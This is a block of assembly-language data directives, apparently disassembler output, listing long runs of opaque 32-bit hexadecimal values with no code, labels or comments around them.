		dd 8AD40ADEh, 0BBFBECFFh, 0F6A4A800h, 9C677A30h, 21F0E0h
		dd 0AC3A38Eh, 0BCF20507h, 0CE81AC01h, 548FEB1Ah, 7F1E3CCh
		dd 5811FDB9h, 0ED5943BBh, 0F2C8AFA0h, 1B30B606h, 38F105h
		dd 3D184F5h, 0CAB1DCC0h, 3DB97603h, 0F8858DFCh,	1FF449BAh
		dd 0C07B98CCh, 0E80E869Dh, 620E2E2Fh, 3EBA47BBh, 36038940h
		dd 69A8F33h, 671DE4Ah, 47189820h, 0AE68BEE6h, 0A5CE4C75h
		dd 3A00553Ah, 48823335h, 0B00A750h, 7D17A08Fh, 1CE139F0h
		dd 40D25FCAh, 0E86FD533h, 0CC148EF2h, 882999h, 58D1AF7Ch
		dd 0C52FD8B7h, 0C0D95169h, 0DB6DB978h, 32FF2206h, 77E0E7F7h
		dd 77D50050h, 4FFB7984h, 1800D79Bh, 2EC2E840h, 0BED44Ch
		dd 0DD09AA67h, 578EE735h, 5E00EE77h, 0CC80A174h, 1016902h
		dd 349958Ah, 0C0F0E3BBh, 2A00CB24h, 7A44D1F6h, 0EA1D9060h
		dd 0AF820EAEh, 0B2E0CD15h, 0BF6D65BEh, 90024F00h, 0D4ACD3DAh
		dd 850D001Ah, 6B2DC576h, 773AD8ADh, 301400B2h, 9F4D8EDEh
		dd 8B614C64h, 397B2F02h, 0D160083Eh, 20FAFDC4h,	3007875h
		dd 0BE731CF5h, 487791h,	6CDA0FD1h, 17C0A8A3h, 41DCB300h
		dd 0FC648D03h, 0D92F0CC4h, 59801274h, 0D1E3AF2Eh, 3F039F00h
		dd 3785A4h, 0E27F4429h,	26DABBD1h, 0F7283Ch, 0CD2533C7h
		dd 42908D8h, 1BACEA2Ah,	0B83C921Dh, 33D58760h, 0CB9C0704h
		dd 2C94F318h, 0A00042Eh, 0F21E9C33h, 9007704h, 22E0B93h
		dd 12D77654h, 0A4989Fh,	67F80A7Ch, 418F30Eh, 0B629B322h
		dd 957A88A0h, 88306488h, 9440C674h, 6EAF44AAh, 44D04344h
		dd 0CB446490h, 6B28A0DEh, 41DC8941h, 90B44214h,	8782D279h
		dd 6801EB23h, 0E2010479h, 840610D2h, 9FCD0CD6h,	0D4296FE7h
		dd 0CC51286Fh, 44BA29C8h, 6F20B285h, 19C0429Ah,	0AE79AC39h
		dd 0CB922841h, 50814C12h, 8CA306h, 0D55822h, 0A7EBCCDh
		dd 5E208A8Fh, 0DB3C7509h, 0CE9C0040h, 8DA9E5h, 6D91C38Eh
		dd 0E0D10E92h, 0BC140400h, 181F165Eh, 0E2DB001Dh, 0BA212F28h
		dd 0DF125F0Dh, 0F900DD75h, 9CE6DE45h, 0BE6F0042h, 0C9EAB90Bh
		dd 9000BF5Ch, 0D02789BBh, 54FEA7h, 57394F58h, 0BDCB616Ah
		dd 0CF633E00h, 0AE6409B2h, 6970004Dh, 249A99B3h, 0ED1C9F3Ch
		dd 3540B75Bh, 804F6A58h, 0EAC81D05h, 0F466C0AEh, 0CAF11908h
		dd 249241F8h, 9A8D0118h, 7A6E44C6h, 0C7B93853h,	2C29750Fh
		dd 0E370DB00h, 520009FEh, 4312DC8Fh, 0E9F8D6h, 24543272h
		dd 2286A60Ah, 0B9426700h, 21705F8Bh, 10C80130h,	0BD33B8C2h
		dd 0EA98EBEEh, 0C0018DB0h, 9A8AD02h, 0F1D86F82h, 0EF2700ABh
		dd 2E25434Eh, 0EC17BC41h, 5001930h, 7FDFC376h, 0BD83026Dh
		dd 0D44E21C2h, 0B6AA8043h, 970A9890h, 14334003h, 0A02D5CF3h
		dd 0C39C7Fh, 0F7EC0F43h, 54803B06h, 0F5EAE600h,	2ABEF991h
		dd 3A78F8h, 0E407B594h,	0F15DC325h, 68D2A800h, 0E2D56A04h
		dd 1F7A7359h, 3D7C9EDh,	132E5E9h, 28E048F0h, 29858B00h
		dd 0B889A0F8h, 21B300FBh, 0F7CFA59Ah, 0D3010C64h, 0BB4528A7h
		dd 24607109h, 18513B40h, 87A68D80h, 1D680269h, 5F1CA300h
		dd 480AAB9Ch, 0BC13005Ch, 0E5CCF303h, 0B3580514h, 44860011h
		dd 9B1033FAh, 0B2CA00BDh, 6702AFB4h, 0DF00A56Ch, 87516A30h
		dd 0E28A740Fh, 0FAAD00F5h, 0CFC1939Dh, 381FF692h, 97CE3751h
		dd 691207Bh, 0C669DDh, 6E4F72F5h, 820F5825h, 0C1567800h
		dd 9B9DEA55h, 24F6A0h, 0ED901B40h, 0FD45F2E6h, 57EE0212h
		dd 438ED00h, 776E8Ch, 0A789B671h, 76BA7322h, 975FFA00h
		dd 0C54D298Eh, 9D7B0EE0h, 414F1D6Ah, 85E78881h,	45DDE426h
		dd 1FEE803h, 0ABBE64EFh, 542E9891h, 0CC002BAh, 0AAA23110h
		dd 0CC58F6C1h, 73007DE5h, 0C0BF449Bh, 45F650h, 47B8DAEh
		dd 0AAC585A0h, 14F52F24h, 0BFBC08h, 1C2ACE71h, 7E01F8BDh
		dd 13C4B5C0h, 1ADC7996h, 24B0F653h, 0C3EAAh, 0E450215h
		dd 0F8BD0456h, 44DA0182h, 5FD7ECB7h, 5876F89Fh,	968BDC00h
		dd 227FCAC5h, 3FC3005Bh, 0A905784Dh, 0C10AA3D3h, 0DE31252Ah
		dd 6D8B7F07h, 2D2CA671h, 0FF632880h, 0C82934DFh, 0AEB47B00h
		dd 9E0A9CA7h, 0EF8AC02Ch, 0B2A5B39h, 33199300h,	53FB3A1Dh
		dd 24DFE6BAh, 8470FAh
		dd 6F61ECAh, 600EA2DEh,	81462112h, 286C687h, 2436030h
		dd 354442B6h, 0B4E3BC59h, 0F1BFE8C0h, 0D31B0505h, 0E68026CCh
		dd 2A223755h, 7F0F58Bh,	3959132h, 0F3D440B3h, 3500155Eh
		dd 4B6E6FF7h, 0EAA76D09h, 9ABB0648h, 0A8D561DCh, 65C98507h
		dd 0F8103084h, 5CB458h,	0D1CCCAB6h, 0E8DC530Ch,	0CEB8A000h
		dd 5B713970h, 0BEF350A2h, 0A5F6135Ah, 69600CCh,	0E1FC6DB7h
		dd 0C9173E00h, 0A8AAF7F8h, 0A1B09Dh, 0A79A6BE5h, 5D127A05h
		dd 653B5C73h, 7CC69C3Ch, 1CB09E47h, 69844530h, 89E500CBh
		dd 0A21E074Dh, 710FB994h, 27E01A87h, 0B055DC6Eh, 51296CC1h
		dd 70DF43F8h, 37D5001Fh, 169B701Eh, 74076C83h, 0A40158F6h
		dd 59A60531h, 81EC96EDh, 0D88000E8h, 0F240EE21h, 0D711D4Bh
		dd 7100C77Eh, 56D3B1ADh, 3CE67AFCh, 732409DBh, 22420424h
		dd 0C05084BFh, 45B46726h, 7E6F0100h, 0B8CB7A1Ch, 257500C0h
		dd 94C1070Ah, 0E23F2DFEh, 0E4D913B6h, 717C00BEh, 0A1FBDBA0h
		dd 1C1FC3Eh, 0B07C9865h, 9320EBF6h, 50F80007h, 162049BAh
		dd 29005F24h, 52E201C0h, 0B835511Dh, 365501AFh,	405FBF1h
		dd 0D5DCF4A4h, 0A62CA7F0h, 110060E5h, 0FE673818h, 56CB01CFh
		dd 257D5CACh, 0A684D468h, 9EC7748h, 0F73B9AFFh,	0BB07C480h
		dd 54BAB3FEh, 38BE1000h, 89BD1537h, 2FC00C8h, 34DDCBF7h
		dd 0E8F14D5Fh, 0AC008213h, 0A0A2F947h, 0B836E4E1h, 0D4AB005Fh
		dd 0CFC4D086h, 170180F6h, 0DE414572h, 230A778h,	8CF85875h
		dd 245BC300h, 99A35CAEh, 8E7CBC71h, 0BE56D703h,	908D8B85h
		dd 13EAA4A5h, 0C89CB6h,	87BB105Bh, 0A700FBEEh, 0D6A6B7Bh
		dd 78A06941h, 0DA660002h, 0DDF3F720h, 8E072DCAh, 0A7FD44AFh
		dd 5B100470h, 0A50A01A3h, 1E6D6526h, 2B9C24E1h,	75A65900h
		dd 6F7BD269h, 12C70082h, 0AE40516Eh, 9B00B3FCh,	15ED227Eh
		dd 73E7048h, 0E2A6200Ah, 0F1A3EE0Fh, 0F0DFEA04h, 4DF2B9CBh
		dd 0D5A38F00h, 0FDA2AD28h, 88A0019h, 6B86B46h, 0D900F1E2h
		dd 7C4902B2h, 3C686A31h, 7B9620A1h, 595400DEh, 0C7D40D10h
		dd 7D96D500h, 0A2FF8F12h, 856E07F7h, 22518805h,	60577306h
		dd 0C0EC1270h, 0FFEAC076h, 3300AAFEh, 0C46EE952h, 117DE50h
		dd 0E848B054h, 0D0B25812h, 812031Bh, 60C0A615h,	728BC6B3h
		dd 0B0143B5Ah, 0C7B6FF80h, 0A7421305h, 0A392E101h, 0A13240ECh
		dd 0B094E9F0h, 0F3480050h, 995E11F7h, 0B739FD39h, 93E40004h
		dd 0DCDD68D6h, 0BB301E9h, 92A3F8CBh, 8D0D03Fh, 63017A01h
		dd 0B0A6699Fh, 0F849F2C0h, 5EB10064h, 8B2C7686h, 5500A1FEh
		dd 0A65B07BFh, 4B4058h,	0E5BD891Fh, 5AED762Bh, 0AA8BCB12h
		dd 0C2F08800h, 0B880F7ADh, 0D2A900D4h, 482829ACh, 0F403B469h
		dd 4E176E62h, 0F23A3B1Ch, 30AB2480h, 1F482E8Dh,	0BFFABA00h
		dd 9A121ABDh, 5CBC00CEh, 25450A6Eh, 0EF124F7Ch,	14001081h
		dd 0B3A65A04h, 5FEAA8h,	0DD7AC948h, 691025EFh, 8E0C0800h
		dd 0B0F241D3h, 1827B59h, 7E3D8566h, 20D5FA64h, 0BE0003BCh
		dd 0A548D07Ch, 3E5A82h,	7FAA9FF8h, 0B69B9739h, 3DE67600h
		dd 0D7221CE1h, 2A0B008Dh, 0C5DE7A9Ah, 0E4ECEF10h, 0D50084F8h
		dd 0C22921CAh, 1C26ED46h, 0C360BBB6h, 0B75E1BE1h, 0C5C7EFB0h
		dd 7001EC90h, 32387C8Fh, 0DD408AC2h, 3220464h, 0DD3E3561h
		dd 49E08C03h, 0C1EE156Ch, 0D4A74600h, 0E3F3550Fh, 93B900D5h
		dd 0AD5FEF73h, 0CCFE834Ah, 1E6A701Fh, 0D64FE203h, 7ED48846h
		dd 3C8C0088h, 92BF4AC3h, 7803C0E1h, 2166B5A3h, 4B02F025h
		dd 4FD71CC5h, 59FB40C8h, 29268279h, 0DF367500h,	21E42028h
		dd 341F04F2h, 0C0A340BFh, 0B0A7503Ch, 0B291E301h, 8B63FF8Eh
		dd 584EDCh, 52C9CEAEh, 0A6199531h, 0D423BF00h, 1EDDD536h
		dd 8548014Eh, 0AA460902h, 0BF4C2087h, 24305F03h, 0A023FF9Ah
		dd 184A65C1h, 0EF07EE6h, 5B009162h, 0E5E1C70Fh,	77DF07C6h
		dd 9A4DFECBh, 7A620198h, 94F58FA4h, 0C4702245h,	50C26FEh
		dd 95007B0Ah, 84A7EA3Ah, 122B603h, 3BB41215h, 0C10DFF30h
		dd 0F3C9E00Eh, 4F829412h, 0DAA7CE00h, 3A47E685h, 9E8903C7h
		dd 0F5006731h, 0DC17A327h, 0B20062E6h, 3D0A342Ch, 1C81061h
		dd 0D35EA838h, 0FCA4C017h, 6B0120A2h, 61802264h, 7020474Bh
		dd 0A991008Ch, 83327316h, 0AC3D933Ch, 4F96001Ah, 973B6351h
		dd 0A2C10E8Dh, 7C6FEECCh, 4ECF7BC0h, 1C000122h,	0F68A3BD9h
		dd 7C0BB7F1h, 1295012Eh, 2B4F7BC7h, 586822A1h, 47E00018h
		dd 0CF30B79Dh, 924600B1h, 0B6EF0CC4h, 0D626A234h, 0E60A77A4h
		dd 103DAC29h, 1A1653ABh, 9F4420F4h, 0FB01C774h,	65836101h
		dd 48CCDADFh, 0B88126F2h, 0A1D00DCh, 2FFA45C6h,	7382781Fh
		dd 0A727F680h, 505D5Fh,	0EF703CF8h, 9B1BD91Ah, 15C0BA2Ch
		dd 0B7204100h, 0E5F4C4h, 2B0864Eh, 98315F9h, 82D9723Dh
		dd 0F6C52B25h, 7096C1FDh, 0DC1620h, 1F10FE7Ah, 9790E502h
		dd 5B04C401h, 0EFA87782h, 0B00150C8h, 63490772h, 2C06C3Dh
		dd 0CD60510Dh, 0D903DDC5h, 0F2D03036h, 0B12872F3h, 184700FCh
		dd 3F5F3DB8h, 0D7423C17h, 0FEE2DD00h, 0BAB290h,	0C80B8155h
		dd 0F89F682Fh, 0EABCF300h, 0CA1691B7h, 2B67CE1h, 5473A99Eh
		dd 0B60EDDAh, 87000E64h, 31073ADDh, 7C741898h, 0C498BAh
		dd 0B72E7BBFh, 0FB00DF6h, 2091D3Dh, 2F026058h, 80B78051h
		dd 83B5Ah, 88AC5932h, 9EC0DEBDh, 0B1037A00h, 0F2D63D7Bh
		dd 21763F5Eh, 0FE4012h,	11E93A06h, 562EC879h, 0EC20EE4Ch
		dd 0A876C924h, 2CF29A00h, 99A05Dh, 169521BAh, 0AEE98D2Ah
		dd 0D0DBAB00h, 0B3C3EC03h, 4BCE0181h, 0B9B89283h, 5770C83Ch
		dd 7BDA2D5Ch, 8285F13h,	19275400h, 29A85E1h, 0C7707B29h
		dd 0ABC06C3Eh, 0F70E3786h, 80FAFB8Eh, 0E53C3677h, 9DBD0F12h
		dd 0F1617DABh, 30DC3B9Bh, 4006EE89h, 4CC72449h,	7BB0007Eh
		dd 0BDE947AAh, 0DF0F94EDh, 0B9DC9537h, 0A16ED948h, 5F3FE8B0h
		dd 0A182400Bh, 0D58608Bh, 12BF00DFh, 904D0611h,	0A494D07Ah
		dd 7C17E080h, 986D9DD7h, 597207EAh, 516CE3DAh, 0C7B794E2h
		dd 5DBCE8C0h, 8DF91900h, 9702D87Bh, 0EB4C0779h,	8469A113h
		dd 4754C05Ah, 20C07AECh, 2EB8D7BCh, 0B770004h, 39439748h
		dd 0F5098957h, 0C051DADBh, 17F6F0C8h, 7C57F29h,	10750AE0h
		dd 0FB79DFB6h, 77AF9000h, 0F65C36B3h, 29F73FE7h, 0CE64EC04h
		dd 5D02C141h, 2C583098h, 0C5118500h, 6B175B25h,	0E4B90058h
		dd 7998B862h, 4500B5C4h, 0BB234894h, 2BF0DEh, 0B7E47324h
		dd 852AEA99h, 0DBF17604h, 40A0FC14h, 90B3013Ah,	3F9F3041h
		dd 0CC09C512h, 951D0FB8h, 0FBC04F27h, 0EB803231h, 20BA019Ch
		dd 3D4E351Bh, 0C0E47166h, 18008563h, 9DCA808Dh,	7842F829h
		dd 32ECD2h, 0FCB745E6h,	0FB3ECDAEh, 68205E03h, 0F8970AEBh
		dd 1295270h, 5DF1EEBDh,	0F45C9ECEh, 3E00CC0Eh, 0B848B9E6h
		dd 0F2428017h, 0C806002Bh, 0DA9C07E1h, 0F5FD602Ah, 0F0434D3h
		dd 42C44C00h, 3DEAF452h, 47BF00F1h, 221E24Fh, 0A63D562Eh
		dd 0CBF00F6Ch, 2C9B6259h, 19904052h, 9674017Dh,	0FF1990Ah
		dd 1023C414h, 15455B00h, 46FE4AA5h, 51C90929h, 8C20F39Ah
		dd 55AE203Dh, 7172339h,	1CF250AAh, 0C92E09A0h, 1349804h
		dd 85C17B37h, 3855E069h, 9FBE00F0h, 2A3D4FEAh, 1078D5h
		dd 2BD46DC6h, 0B481DB5Dh, 3A1A1703h, 0D8EE86CCh, 0F07A571h
		dd 0F83090A0h, 0EA5E7FA0h
		dd 61F27C55h, 0BD176700h, 0EF08C62Dh, 49CB0FD7h, 62C02827h
		dd 74FD821Eh, 7F79F31Fh, 0A5BC94C1h, 64DCB6EAh,	18F724F9h
		dd 17CC282Ch, 4097FCE9h, 777E2624h, 0A604B231h,	7C1ED06Bh
		dd 7C816CC4h, 182C4C3Ah, 8FEAE100h, 41B09002h, 0B4510709h
		dd 749000DDh, 64A15h, 0FB3AF985h, 208CC87Eh, 0C7335800h
		dd 1A308131h, 0A5BD0202h, 93E0338h, 41B9C480h, 0D0B8040Ah
		dd 0B10B28F0h, 2E5FABF2h, 0BAE562ECh, 0E344405Bh, 0A3420AC8h
		dd 1CB4A873h, 2A4503E7h, 1000AD7Ah, 40EC5F64h, 812B99h
		dd 0C1656809h, 0FCC4BB8Ch, 0C09E4607h, 1B6291CFh, 0F0A0601Eh
		dd 8F3E00A1h, 9E7913CBh, 0A5FEFA0Ah, 0C06980h, 8C9C866Bh
		dd 0BAB04358h, 797E3D00h, 0DBD7CC5Bh, 7456000Dh, 0E139A338h
		dd 800A1BCh, 0AF281C94h, 1C35A7ADh, 87C46CB3h, 20E33C01h
		dd 0C7F3589Ch, 0CE0BD116h, 96E04477h, 41C2Ah, 0FB6409B5h
		dd 2FBD788Eh, 2B343F00h, 7E5FB47Fh, 0B5E13860h,	731CF92h
		dd 608177E6h, 8E8A62D1h, 18E4B600h, 99D4FFA1h, 90064CB1h
		dd 0EA2E7400h, 33E15388h, 16EEE200h, 0B4E9F05h,	2478B04Ah
		dd 0D843AEh, 462D7F8Ah,	9D7D3168h, 0AA864D03h, 0FA6EE4BAh
		dd 42C0F781h, 0D80220EAh, 31018899h, 6497814Dh,	0A041A29Ch
		dd 0FC60E89Ah, 1120004Ah, 14734DEDh, 6F58866Ch,	0A9A700FBh
		dd 74543380h, 0FDE227h,	1B8CFC1Dh, 2481178Fh, 0B80C2130h
		dd 489614EAh, 7A103C86h, 0CF401C33h, 3A974484h,	0E2842880h
		dd 394D0054h, 0BE7F253Fh, 9F06FAC0h, 1E47CF05h,	5DFC0148h
		dd 0A9388F70h, 0FEF5F8C2h, 35C0B954h, 71C58503h, 0DFF96694h
		dd 4C3E21C6h, 0D100C50Ch, 0BECF97CDh, 0E3006750h, 7BAFC00Fh
		dd 0A0B1B799h, 8933F0h,	453FD2E2h, 4F4B1BAAh, 1600DB79h
		dd 0B6179F13h, 7BFE891h, 0A92095FBh, 280D208Ch,	0F512D181h
		dd 0DA016312h, 0D6FBDD40h, 404F243Ch, 54741D48h, 0EF0722AFh
		dd 0F7671FCBh, 50809C84h, 60552F9h, 26794A3Bh, 0BF03D60Ah
		dd 548CD028h, 4529863h,	34801341h, 9F8CD0DCh, 51000A68h
		dd 0A1F1FBC3h, 494A81Dh, 0C43354E4h, 17F8804Ch,	0CE1FB491h
		dd 9F4F11CBh, 9950C373h, 923AC07Dh, 31621454h, 0DE26A0C0h
		dd 0AF7B00F7h, 8F2F0945h, 52A8AD01h, 63FEAE34h,	0BFBD70h
		dd 0A506A99Ah, 282B403Ch, 0AD05CCEEh, 0B607860Bh, 0AF4F9480h
		dd 1AFA037Ch, 58EBE4F7h, 3CFB9CA1h, 0FF8F0044h,	97287077h
		dd 187A00B8h, 156375AEh, 424CE961h, 64500B6h, 0D3E78991h
		dd 5C40ECDBh, 9B00D2BCh, 3761431Bh, 4B1492A8h, 26A0160Dh
		dd 9F583CD5h, 0B009131Ch, 6798003Ah, 9D8238DFh,	0C9CAA200h
		dd 0B8613470h, 487300FBh, 430290EEh, 0F000FF0Fh, 0EB88EDD7h
		dd 5C6A7151h, 0CD079409h, 19F56B91h, 0FBFED980h, 863BAA27h
		dd 28EE8004h, 89B4692Dh, 16D63BC7h, 6D64580Eh, 0E4B87B62h
		dd 9E2E44F8h, 2200C454h, 0B21B5A2Dh, 47670BAh, 0C903D62Ah
		dd 4C81ABB5h, 69CE32AAh, 0FE60BA58h, 0BEB905ADh, 0C0D2181Bh
		dd 6EC12A5Eh, 5071F13Ch, 964B87D8h, 49BA2070h, 2F1A000Dh
		dd 0C7194A60h, 3D18812Ah, 0B3607617h, 557E8Ch, 6EB016D4h
		dd 9CAAFA31h, 356DB100h, 0B60E85E0h, 0A5DF1893h, 0C3975A27h
		dd 59412818h, 4DBEACAAh, 0AD877CF3h, 3FC0F025h,	9400B682h
		dd 0B454FE12h, 4BEAC3h,	0FDAA2DB3h, 53CE3E47h, 32F7B000h
		dd 9B9E6B22h, 7F93B8B1h, 0CBBB09D7h, 880618Ch, 0AB8BCFD1h
		dd 0D9C90F00h, 64CD716Bh, 6AC00FBCh, 444F7BBBh,	6DEA68A3h
		dd 4A423000h, 964FCF92h, 164E0037h, 0C03FC581h,	6100CC91h
		dd 0A0F63009h, 1EB659F0h, 0D5F3F5h, 0CFB9E21h, 65001528h
		dd 0D7CA82D0h, 727A7C24h, 4895025Eh, 0EDFEA6C3h, 0B2166CE0h
		dd 8C3E5826h, 725A9C01h, 11871FD8h, 0D0806789h,	0D3026814h
		dd 641A7101h, 0D0904CD7h, 0A5C2E8E3h, 29653C7Ch, 8130DF00h
		dd 255BB5F2h, 37001D75h, 6AECAF2Ah, 1FE24085h, 81B9A39Dh
		dd 9989147Dh, 5F068E5h,	0BB20C616h, 77848C0h, 0D10C00E7h
		dd 0E3CB61A5h, 967226D3h, 9F178800h, 0C1F0ADAh,	5915177Ch
		dd 35F6005Ah, 0D1E4A468h, 6046FB00h, 4E12535Eh,	11D20081h
		dd 0FFB083B6h, 0C100D110h, 2B70284Bh, 0F89198h,	606AF4ADh
		dd 0D69BC479h, 810EA300h, 0B3BD9FF5h, 0DFEA31h,	0A525C669h
		dd 0F8BEFED5h, 465FA100h, 4B26C40Bh, 1BDB007Dh,	284E7004h
		dd 0F278230Ch, 0A543C600h, 88BC5D54h, 67400F5Eh, 0A0A0B251h
		dd 2EE0FC3h, 4A3AC500h,	0FB75665Fh, 0BB7C00DAh,	0E4D2CF94h
		dd 730121BCh, 0BBF442Ch, 70E0185Ah, 0AB2B00EAh,	9972B42Fh
		dd 0D9005B22h, 6AB33886h, 9ED9CE4h, 7ED433F0h, 2505B450h
		dd 0B68BEB5Ah, 20F8DC80h, 7F01F280h, 0ADB000C9h, 8ECEB27Dh
		dd 0C600ACBDh, 1C5B5599h, 1850EF6h, 90B5B0C1h, 0C8C7A241h
		dd 0C400094Dh, 0F83F781Fh, 0D0DEE8DDh, 137F94CCh, 1DB2AFh
		dd 0F5154EB4h, 0CD044A4Fh, 7DA98BA6h, 0EAE218C0h, 88101399h
		dd 294200AEh, 36B2751Eh, 0CED10A00h, 3FE4CC93h,	9AAC485Dh
		dd 310D650Fh, 3B8E0383h, 0FFEA49C8h, 4230B778h,	86DF103Ah
		dd 82E600F2h, 79DCEB9Eh, 4600A012h, 0AA1AFCA3h,	69C88Dh
		dd 8B147C5Ah, 632FD256h, 0B0C9F2D6h, 707955E4h,	0BA6E2641h
		dd 0C4CA007Ch, 0A22745FBh, 0D6108600h, 82B6DB85h, 5CE402h
		dd 1972B274h, 0D3E9DC4Ah, 3ACD4200h, 0CCC0B5A2h, 0F2B4000Dh
		dd 9555D08Fh, 9A003045h, 120C6CF0h, 99B2C9h, 49753EBFh
		dd 7A690F07h, 4148D000h, 151D34CEh, 449900B6h, 489F478h
		dd 0E606080h, 0D29863EEh, 7C8D00E6h, 46195E74h,	1F26AF57h
		dd 0A5804087h, 8B398C47h, 681D0C93h, 0F808C6F4h, 61E3F300h
		dd 0A3FB47C3h, 57DD1F7Fh, 4FBD0019h, 0F7BB0AEBh, 58E4C0B8h
		dd 0D81FA312h, 77850A0h, 0EE464783h, 66AFD018h,	0B238A7DCh
		dd 0F7BA8042h, 43A3E9D9h, 38CA48DBh, 96349904h,	5090B0DAh
		dd 0F0AC9A00h, 33625CEDh, 1A3113F8h, 0ABAC0034h, 0C3E0837Bh
		dd 1BB09800h, 0D338034Fh, 1E874A0h, 0E404B144h,	70F62C97h
		dd 4726E694h, 0FE806C1Dh, 0ACD05887h, 368000B8h, 0EFF24476h
		dd 6CFEBC20h, 16695313h, 0E513A000h, 2A8A6DBh, 0E94DB829h
		dd 0D04003A5h, 0AA009073h, 7AF3FDE1h, 26456F94h, 140BCD0h
		dd 0C2C31DD9h, 1165F015h, 25AE3100h, 722C833Ch,	5B58019Eh
		dd 68A361E2h, 0C20770FDh, 4146B700h, 0E5AFD955h, 0FEA00F5h
		dd 90DB531Ch, 0CA12F22Ah, 0B44FA307h, 54DAE07Eh, 0F465B7F9h
		dd 0A14C00F4h, 0AD72F84Eh, 7B0E5B07h, 0A324AE9Ch, 0B8E65112h
		dd 0B5C5DBh, 404659CAh,	5E97ED16h, 0FB5F48h, 66232A1Ch
		dd 22413Ch, 0E5FF10DCh,	0BC7F12DDh, 0F7466800h,	1764C2E7h
		dd 35C30E71h, 84D4EE14h, 9A2A8A00h, 0E4271F4Bh,	3E0B3D00h
		dd 3F70F591h, 0C572E25h, 549005Fh, 0E48DF026h, 32D75100h
		dd 6798A821h, 0C277A4h,	0C80DA729h, 2D269B2Eh, 68CB810Ah
		dd 5600B845h, 0D2976391h, 2740037h, 0B6208D57h,	0F4033B9Eh
		dd 3FCDC1B8h, 0DA13F369h, 8EA40CEh, 0ADF50023h,	56E694AEh
		dd 8D00D65Ah, 0B602FC83h, 0DC681Ch, 0B2D9FB55h,	0B4A93EE7h
		dd 46040F03h, 0CFE28F90h, 281D1550h, 0A14F268Ah, 0B19300EDh
		dd 555CDC41h, 0C501EE7Eh, 5939759Dh, 52D42AD2h,	0C7E2168Ah
		dd 0FBA4035Eh, 9780CBB7h, 0E800D93Dh, 50481C6h,	0BA6C88h
		dd 6FA6A340h, 7DF999DCh
		dd 48D55300h, 4624B27Ch, 0DD670069h, 158033D2h,	6B48DC89h
		dd 98F824C0h, 80578B0Fh, 0A3B772C0h, 0F6FC0063h, 58E63C1Dh
		dd 78079A3Bh, 2AE161EDh, 488312D4h, 0A86D834Ch,	9CF765Eh
		dd 85BE5B20h, 0C8803C6Dh, 75ABAEEBh, 878F002Ah,	0D1425FAh
		dd 4401E077h, 893D2F4h,	3DE8C95Ch, 2D8D00DBh, 88580CC7h
		dd 0C67392EDh, 8E66F805h, 0E4802413h, 27BC059h,	53796390h
		dd 0E45E7EE7h, 0C05585C3h, 3FDF82Ah, 34719A17h,	4900C594h
		dd 0B58D52D7h, 0A0B616h, 495356E2h, 0CB7A841h, 8C5B4E00h
		dd 0CF489E63h, 367F00D7h, 9C0269D0h, 3BECDC26h,	522C600h
		dd 0EC879A27h, 4D080E51h, 95A1C4E6h, 0F8C6CB5Bh, 0DB00D841h
		dd 5FA50F4Bh, 3FEF7FCCh, 8F80C040h, 790E842Fh, 8A1EB2D4h
		dd 0F5801787h, 0AF1B9915h, 2B5D0059h, 0B4ED6F71h, 44AD4F9h
		dd 9210ECC0h, 77EA0047h, 7423FABEh, 3700B33Ch, 409BE0E9h
		dd 76F4F81h, 8D15E8A6h,	8003652Eh, 6813AB6Eh, 8CBB900h
		dd 0F2A44B0Ch, 1F9ECEDh, 0FE26FA5Fh, 0EE13DC0Eh, 0AE098070h
		dd 80A77629h, 0FF0FCD24h, 38FC60h, 80CE902h, 9ED5544Fh
		dd 721CEC05h, 9CD08869h, 0E07FB810h, 55A0007Ah,	0ADF3AB3Bh
		dd 8D28E9DAh, 973EB030h, 0BB298406h, 0BC802FC6h, 0F1AE2Bh
		dd 0A4046857h, 55CB1EEFh, 70D31400h, 8CFD6979h,	95390058h
		dd 2C033B05h, 0AB17F268h, 0B601C9EBh, 8F5ED254h, 10806B31h
		dd 6E583A75h, 0F0E3F502h, 1A604135h, 919DB6BAh,	22BA0348h
		dd 0C62DDA66h, 729AA4Ch, 35B28176h, 0DB47E400h,	64EF07A3h
		dd 9BDE0Ah, 496392B0h, 2569861Dh, 0B7D8C5CEh, 6B50EB00h
		dd 0EAE6EAF4h, 2DCD003Ah, 928B9879h, 7600E4BFh,	0C57E9786h
		dd 589FEBC7h, 940068CCh, 0A060A555h, 0F93F469Ah, 37100931h
		dd 0EA6983A9h, 0D434C08Eh, 0E81A0347h, 6124CAC4h, 11DC0F80h
		dd 0E73F5C0Bh, 5A210058h, 50D6169Ch, 847F9852h,	350B4C00h
		dd 90B11B18h, 17E02C3Fh, 1115001Ch, 8A1688Eh, 0CF36A41Fh
		dd 0BFDA9100h, 0EAE1A9h, 5C7FCD82h, 0B0A0BAB5h,	2B764100h
		dd 9746C711h, 387300CEh, 0D48053E5h, 8C73D183h,	0C80594Bh
		dd 2693EA0Dh, 4178B2h, 0B5473B5h, 0C983FCAh, 0C4B72901h
		dd 0BAA6F219h, 0F54B20h, 4B9643BFh, 2CEAC9FAh, 3E04ED00h
		dd 80B315DEh, 0FE8418BAh, 97A728Bh, 0EE087800h,	72C3CA55h
		dd 0DF7900D9h, 65C55D23h, 3400BA70h, 0A2D7D359h, 74CCA5h
		dd 571C4A8Ch, 9EF29A0Dh, 3F1FE700h, 0FE2DFDF4h,	4FAB029h
		dd 0DC5A809Bh, 0C8E2803Eh, 860142C4h, 236F639Ah, 1960BC64h
		dd 9DD100CDh, 0AFAA2251h, 0B50001A7h, 0D76A5831h, 0F60953FCh
		dd 690B0024h, 934C9C9Fh, 0AE50C891h, 7200D9F2h,	66B36B59h
		dd 0F696F0h, 0C8D8403Fh, 0C57B936Ah, 0BC00F3F2h, 7EF8E0D6h
		dd 0B4D423h, 715A6D7Fh,	0F5CA38E6h, 0E0E5CF12h,	80045809h
		dd 49F3D411h, 8A6C00B3h, 0C2D3AE4Dh, 480056F5h,	8DF688A7h
		dd 0CD26E2h, 5FEC4270h,	0B5F36AE3h, 0AFABF700h,	2467BC7Dh
		dd 1DFC175Eh, 1041ECCh,	51A4C99Ch, 0AC9080EAh, 0AD45AEFEh
		dd 0B0260730h, 406FFC36h, 6DBD3FA6h, 0FE8F6C0Ch, 38AAC0D6h
		dd 2A8BBAE6h, 0C58018Bh, 0D8470609h, 0F36C8597h, 1F9BE580h
		dd 0C0E03DDh, 9662A4D3h, 0B7041100h, 0C917F627h, 2C661861h
		dd 50F580DEh, 2BA8802h,	0D4B9A435h, 0CD470370h,	5398D689h
		dd 0C100B0F9h, 724969Fh, 0DACFE4h, 20F6CE0Fh, 0AFC4D03Dh
		dd 0D10BA31Ch, 0D99E8DC0h, 787610Dh, 0F015A1EAh, 68DCD375h
